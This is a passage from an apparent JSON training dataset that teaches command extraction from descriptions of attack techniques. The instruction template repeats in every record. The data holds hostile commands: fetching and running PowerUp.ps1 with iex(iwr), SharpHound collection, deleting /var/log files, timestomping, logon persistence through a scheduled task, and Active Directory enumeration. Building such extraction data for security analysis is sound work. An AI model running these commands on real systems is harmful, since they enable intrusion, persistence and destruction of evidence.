(...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete messages and security logs, use the following command: rm -rf /var/log/messages\nrm -rf /var/log/security",
    "output": "{\"command_list\": [\"rm -rf /var/log/messages\\nrm -rf /var/log/security\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an adversary copying malware to all connected removable drives, use the following command:\n$RemovableDrives=@()\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \"drivetype=2\" | select-object -expandproperty DeviceID\nForEach ($Drive in $RemovableDrives)\n{\nwrite-host \"Removable Drive Found:\" $Drive\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \"file\" -Force -Value \"T1091 Test 1 has created this file to simulate malware spread to removable drives.\"\n}\n",
    "output": "{\"command_list\": [\"$RemovableDrives=@()\\n$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter \\\"drivetype=2\\\" | select-object -expandproperty DeviceID\\nForEach ($Drive in $RemovableDrives)\\n{\\nwrite-host \\\"Removable Drive Found:\\\" $Drive\\nNew-Item -Path $Drive/T1091Test1.txt -ItemType \\\"file\\\" -Force -Value \\\"T1091 Test 1 has created this file to simulate malware spread to removable drives.\\\"\\n}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For modifying a file's creation timestamp to appear as 1970 (a method used by Stitch RAT), execute this PowerShell command: Get-ChildItem \"#{file_path}\" | % { $_.CreationTime = \"#{target_date_time}\" }\nThe change can be verified in File Explorer by examining the file's Properties.",
    "output": "{\"command_list\": [\"Get-ChildItem \\\"#{file_path}\\\" | % { $_.CreationTime = \\\"#{target_date_time}\\\" }\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker could use RemotePC as a command and control channel by convincing the user to download it, then executing it with this command: Start-Process \"#{RemotePC_Path}\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{RemotePC_Path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To enumerate users in Active Directory and display their paths, use the command: ([adsisearcher]\"objectcategory=user\").FindAll(); ([adsisearcher]\"objectcategory=user\").FindOne()\n",
    "output": "{\"command_list\": [\"([adsisearcher]\\\"objectcategory=user\\\").FindAll(); ([adsisearcher]\\\"objectcategory=user\\\").FindOne()\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create an atomic scheduled task using native PowerShell cmdlets, which will spawn calc.exe at logon for administrators, use the following command:\n$Action = New-ScheduledTaskAction -Execute \"calc.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTask -InputObject $object",
    "output": "{\"command_list\": [\"$Action = New-ScheduledTaskAction -Execute \\\"calc.exe\\\"\\n$Trigger = New-ScheduledTaskTrigger -AtLogon\\n$User = New-ScheduledTaskPrincipal -GroupId \\\"BUILTIN\\\\Administrators\\\" -RunLevel Highest\\n$Set = New-ScheduledTaskSettingsSet\\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\\nRegister-ScheduledTask AtomicTask -InputObject $object\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can utilize PowerShell to map an Admin share with this command: New-PSDrive -name #{map_name} -psprovider filesystem -root \\\\#{computer_name}\\#{share_name}\n",
    "output": "{\"command_list\": [\"New-PSDrive -name #{map_name} -psprovider filesystem -root \\\\\\\\#{computer_name}\\\\#{share_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
